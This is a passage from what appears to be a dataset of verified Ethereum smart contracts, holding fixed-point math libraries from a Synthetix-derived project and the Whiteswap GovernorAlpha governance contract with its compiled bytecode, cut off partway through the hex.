a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.pynthetix.io/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } // Libraries // https://docs.pynthetix.io/contracts/source/libraries/math library Math { using SafeMath for uint; using SafeDecimalMath for uint; /** * @dev Uses "exponentiation by squaring" algorithm where cost is 0(logN) * vs 0(N) for naive repeated multiplication. * Calculates x^n with x as fixed-point and n as regular unsigned int. * Calculates to 18 digits of precision with SafeDecimalMath.unit() */ function powDecimal(uint x, uint n) internal pure returns (uint) { // https://mpark.github.io/programming/2014/08/18/exponentiation-by-squaring/ uint result = SafeDecimalMath.unit(); while (n > 0) { if (n % 2 != 0) { result = result.multiplyDecimal(x); } x = x.multiplyDecimal(x); n /= 2; } return result; } }
0x739a1a2e6390d8a848901572d198513988fb50db0130146080604052600080fdfea265627a7a72315820729b06016b022b8392f6680c1cbb3a50b12d651c04bbbca4701b8f123b3cd61064736f6c63430005100032
{"success": true, "error": null, "results": {}}
5,428
0xDB6547437505fDd548F304136a52123567091fBa
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; contract GovernorAlpha { /// @dev The name of this contract string public constant name = "Whiteswap Governor Alpha"; /// @dev The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 40_000_000e18; } // 4% of WSE /// @dev The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 5_000_000e18; } // 0.5% of WSE /// @dev The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @dev The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @dev The duration of voting on a proposal, in unix time function votingPeriod() public pure returns (uint) { return 604_800; } // 7 days in unix time /// @dev The address of the Whiteswap Protocol Timelock TimelockInterface public timelock; /// @dev The address of the Whiteswap governance token WSEInterface public wse; /// @dev The total number of proposals uint public proposalCount; struct Proposal { // @dev WSEque id for looking up a proposal uint id; // @dev Creator of the proposal address proposer; // @dev The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; // @dev the ordered list of target addresses for calls to be made address[] targets; // @dev The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; // @dev The ordered list of function signatures to be called string[] signatures; // @dev The ordered list of calldata to be passed to each call bytes[] calldatas; // @dev The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; // @dev The timestamp at which voting ends: votes must be cast prior to this timestamp uint endTimestamp; // @dev Current number of votes in favor of this proposal uint forVotes; // @dev Current number of votes in opposition to this proposal uint againstVotes; // @dev Flag marking whether the proposal has been canceled bool canceled; // @dev Flag marking whether the proposal has been executed bool executed; // @dev Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @dev Ballot receipt record for a voter struct Receipt { // @dev Whether or not a vote has been cast bool hasVoted; // @dev Whether or not the voter supports the proposal bool support; // @dev The number of votes the voter had, which were cast uint96 votes; } /// @dev Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @dev The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @dev The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @dev The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @dev The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @dev An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endTimestamp, string description); /// @dev An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @dev An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @dev An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @dev An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address wse_) public { timelock = TimelockInterface(timelock_); wse = WSEInterface(wse_); } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(wse.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endTimestamp = add256(block.timestamp, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endTimestamp: endTimestamp, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endTimestamp, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction{value: proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(wse.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.timestamp <= proposal.endTimestamp) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = wse.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface WSEInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x6080604052600436106101755760003560e01c80634634c61f116100cb578063da35c6641161007f578063deaaa7cc11610059578063deaaa7cc146103d0578063e23a9a52146103e5578063fe0d94c11461041257610175565b8063da35c6641461037b578063da95691a14610390578063ddf0b009146103b057610175565b8063b58131b0116100b0578063b58131b01461032f578063bc12589914610344578063d33219b41461036657610175565b80634634c61f146102fa5780637bdbe4d01461031a57610175565b806320606b701161012d5780633932abb1116101075780633932abb1146102985780633e4f49e6146102ad57806340e58ee5146102da57610175565b806320606b701461023e57806324bc1a6414610253578063328dd9821461026857610175565b806306fdde031161015e57806306fdde03146101da57806315373e3d146101fc57806317977c611461021e57610175565b8063013cf08b1461017a57806302a251a3146101b8575b600080fd5b34801561018657600080fd5b5061019a61019536600461256a565b610425565b6040516101af99989796959493929190613228565b60405180910390f35b3480156101c457600080fd5b506101cd61048b565b6040516101af91906129d5565b3480156101e657600080fd5b506101ef610492565b6040516101af9190612a7a565b34801561020857600080fd5b5061021c6102173660046125ae565b6104cb565b005b34801561022a57600080fd5b506101cd6102393660046123dc565b6104da565b34801561024a57600080fd5b506101cd6104ec565b34801561025f57600080fd5b506101cd610510565b34801561027457600080fd5b5061028861028336600461256a565b61051f565b6040516101af949392919061297d565b3480156102a457600080fd5b506101cd6107f7565b3480156102b957600080fd5b506102cd6102c836600461256a565b6107fc565b6040516101af9190612a66565b3480156102e657600080fd5b5061021c6102f536600461256a565b6109c3565b34801561030657600080fd5b5061021c6103153660046125dd565b610c95565b34801561032657600080fd5b506101cd610e93565b34801561033b57600080fd5b506101cd610e98565b34801561035057600080fd5b50610359610ea7565b6040516101af9190612a45565b34801561037257600080fd5b50610359610ec3565b34801561038757600080fd5b506101cd610edf565b34801561039c57600080fd5b506101cd6103ab3660046123f7565b610ee5565b3480156103bc57600080fd5b5061021c6103cb36600461256a565b6113f4565b3480156103dc57600080fd5b506101cd6116eb565b3480156103f157600080fd5b50610405610400366004612582565b61170f565b6040516101af9190613152565b61021c61042036600461256a565b611790565b6003602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b90970154959673ffffffffffffffffffffffffffffffffffffffff90951695939492939192909160ff8082169161010090041689565b62093a8090565b6040518060400160405280601881526020017f57686974657377617020476f7665726e6f7220416c706861000000000000000081525081565b6104d63383836119c4565b5050565b60046020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6a211654585005212800000090565b606080606080600060036000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156105ae57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610583575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561060057602002820191906000526020600020905b8154815260200190600101908083116105ec575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156106f15760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156106dd5780601f106106b2576101008083540402835291602001916106dd565b820191906000526020600020905b8154815290600101906020018083116106c057829003601f168201915b505050505081526020019060010190610628565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156107e15760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156107cd5780601f106107a2576101008083540402835291602001916107cd565b820191906000526020600020905b8154815290600101906020018083116107b057829003601f168201915b505050505081526020019060010190610718565b5050505090509450945094509450509193509193565b600190565b600081600254101580156108105750600082115b61084f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612b93565b60405180910390fd5b6000828152600360205260409020600b81015460ff16156108745760029150506109be565b806007015443116108895760009150506109be565b8060080154421161089e5760019150506109be565b80600a015481600901541115806108bf57506108b8610510565b8160090154105b156108ce5760039150506109be565b60028101546108e15760049150506109be565b600b810154610100900460ff16156108fd5760079150506109be565b6109a8816002015460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b15801561096b57600080fd5b505afa15801561097f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a391906124df565b611c4f565b42106109b85760069150506109be565b60059150505b919050565b60006109ce826107fc565b905060078160078111156109de57fe5b1415610a16576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690613061565b6000828152600360205260409020610a2c610e98565b600180548382015473ffffffffffffffffffffffffffffffffffffffff9182169263782d6fe19290911690610a62904390611c95565b6040518363ffffffff1660e01b8152600401610a7f929190612873565b60206040518083038186803b158015610a9757600080fd5b505afa158015610aab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acf9190612633565b6bffffffffffffffffffffffff1610610b14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612de7565b600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905560005b6003820154811015610c585760005460038301805473ffffffffffffffffffffffffffffffffffffffff9092169163591fcdfe919084908110610b8357fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff9092169185908110610bb857fe5b9060005260206000200154856005018581548110610bd257fe5b90600052602060002001866006018681548110610beb57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c1a959493929190612936565b600060405180830381600087803b158015610c3457600080fd5b505af1158015610c48573d6000803e3d6000fd5b505060019092019150610b449050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610c8891906129d5565b60405180910390a1505050565b60408051808201909152601881527f57686974657377617020476f7665726e6f7220416c706861000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f9822d503dd01fc9755a414578e9b6625a4e37246aba476d03106a5cb47bd0efe610d16611cd7565b30604051602001610d2a94939291906129de565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610d7993929190612a0f565b60405160208183030381529060405280519060200120905060008282604051602001610da692919061283d565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610de39493929190612a27565b6020604051602081039080840390855afa158015610e05573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116610e7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612f81565b610e88818a8a6119c4565b505050505050505050565b600a90565b6a0422ca8b0a00a42500000090565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000610eef610e98565b6001805473ffffffffffffffffffffffffffffffffffffffff169063782d6fe1903390610f1d904390611c95565b6040518363ffffffff1660e01b8152600401610f3a929190612873565b60206040518083038186803b158015610f5257600080fd5b505afa158015610f66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8a9190612633565b6bffffffffffffffffffffffff1611610fcf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612f24565b84518651148015610fe1575083518651145b8015610fee575082518651145b611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612d64565b855161105c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612ec7565b611064610e93565b8651111561109e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612cd0565b33600090815260046020526040902054801561114f5760006110bf826107fc565b905060018160078111156110cf57fe5b1415611107576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612fde565b600081600781111561111557fe5b141561114d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612c4d565b505b600061115d436109a36107f7565b9050600061116d426109a361048b565b6002805460010190559050611180611e87565b604051806101a0016040528060025481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060036000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155606082015181600301908051906020019061128a929190611f09565b50608082015180516112a6916004840191602090910190611f93565b5060a082015180516112c2916005840191602090910190611fda565b5060c082015180516112de916006840191602090910190612033565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160046000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516113de99989796959493929190613185565b60405180910390a1519998505050505050505050565b60046113ff826107fc565b600781111561140a57fe5b14611441576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612a8d565b6000818152600360209081526040808320835482517f6a42b8f800000000000000000000000000000000000000000000000000000000815292519194936114c093429373ffffffffffffffffffffffffffffffffffffffff90931692636a42b8f892600480840193919291829003018186803b15801561096b57600080fd5b905060005b60038301548110156116b1576116a98360030182815481106114e357fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff909216918490811061151857fe5b906000526020600020015485600501848154811061153257fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156115de5780601f106115b3576101008083540402835291602001916115de565b820191906000526020600020905b8154815290600101906020018083116115c157829003601f168201915b50505050508660060185815481106115f257fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018716150201909416939093049283018590048502810185019091528181529283018282801561169e5780601f106116735761010080835404028352916020019161169e565b820191906000526020600020905b81548152906001019060200180831161168157829003601f168201915b505050505086611cdb565b6001016114c5565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610c889085908490613281565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b61171761208c565b50600082815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046bffffffffffffffffffffffff16918101919091525b92915050565b600561179b826107fc565b60078111156117a657fe5b146117dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612b10565b6000818152600360205260408120600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055905b60038201548110156119885760005460048301805473ffffffffffffffffffffffffffffffffffffffff90921691630825f38f91908490811061185a57fe5b906000526020600020015484600301848154811061187457fe5b60009182526020909120015460048601805473ffffffffffffffffffffffffffffffffffffffff90921691869081106118a957fe5b90600052602060002001548660050186815481106118c357fe5b906000526020600020018760060187815481106118dc57fe5b9060005260206000200188600201546040518763ffffffff1660e01b815260040161190b959493929190612936565b6000604051808303818588803b15801561192457600080fd5b505af1158015611938573d6000803e3d6000fd5b50505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261197f91908101906124f7565b5060010161181b565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516119b891906129d5565b60405180910390a15050565b60016119cf836107fc565b60078111156119da57fe5b14611a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906130be565b600082815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452600c8101909252909120805460ff1615611a81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612bf0565b60015460078301546040517f782d6fe100000000000000000000000000000000000000000000000000000000815260009273ffffffffffffffffffffffffffffffffffffffff169163782d6fe191611add918a91600401612873565b60206040518083038186803b158015611af557600080fd5b505afa158015611b09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2d9190612633565b90508315611b5b57611b518360090154826bffffffffffffffffffffffff16611c4f565b6009840155611b7d565b611b7783600a0154826bffffffffffffffffffffffff16611c4f565b600a8401555b815460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010085151502177fffffffffffffffffffffffffffffffffffff000000000000000000000000ffff16620100006bffffffffffffffffffffffff8316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611c3f908890889088908690612899565b60405180910390a1505050505050565b600082820183811015611c8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612d2d565b9392505050565b600082821115611cd1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108469061311b565b50900390565b4690565b60005460405173ffffffffffffffffffffffffffffffffffffffff9091169063f2b0653790611d1690889088908890889088906020016128dc565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611d4891906129d5565b60206040518083038186803b158015611d6057600080fd5b505afa158015611d74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9891906124c3565b15611dcf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612e44565b6000546040517f3a66f90100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690633a66f90190611e2d90889088908890889088906004016128dc565b602060405180830381600087803b158015611e4757600080fd5b505af1158015611e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7f91906124df565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611f83579160200282015b82811115611f8357825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909116178255602090920191600190910190611f29565b50611f8f9291506120ac565b5090565b828054828255906000526020600020908101928215611fce579160200282015b82811115611fce578251825591602001919060010190611fb3565b50611f8f9291506120e3565b828054828255906000526020600020908101928215612027579160200282015b8281111561202757825180516120179184916020909101906120f8565b5091602001919060010190611ffa565b50611f8f929150612165565b828054828255906000526020600020908101928215612080579160200282015b8281111561208057825180516120709184916020909101906120f8565b5091602001919060010190612053565b50611f8f929150612182565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611f8f5780547fffffffffffffffffffffffff00000000000000000000000000000000000000001681556001016120ad565b5b80821115611f8f57600081556001016120e4565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061213957805160ff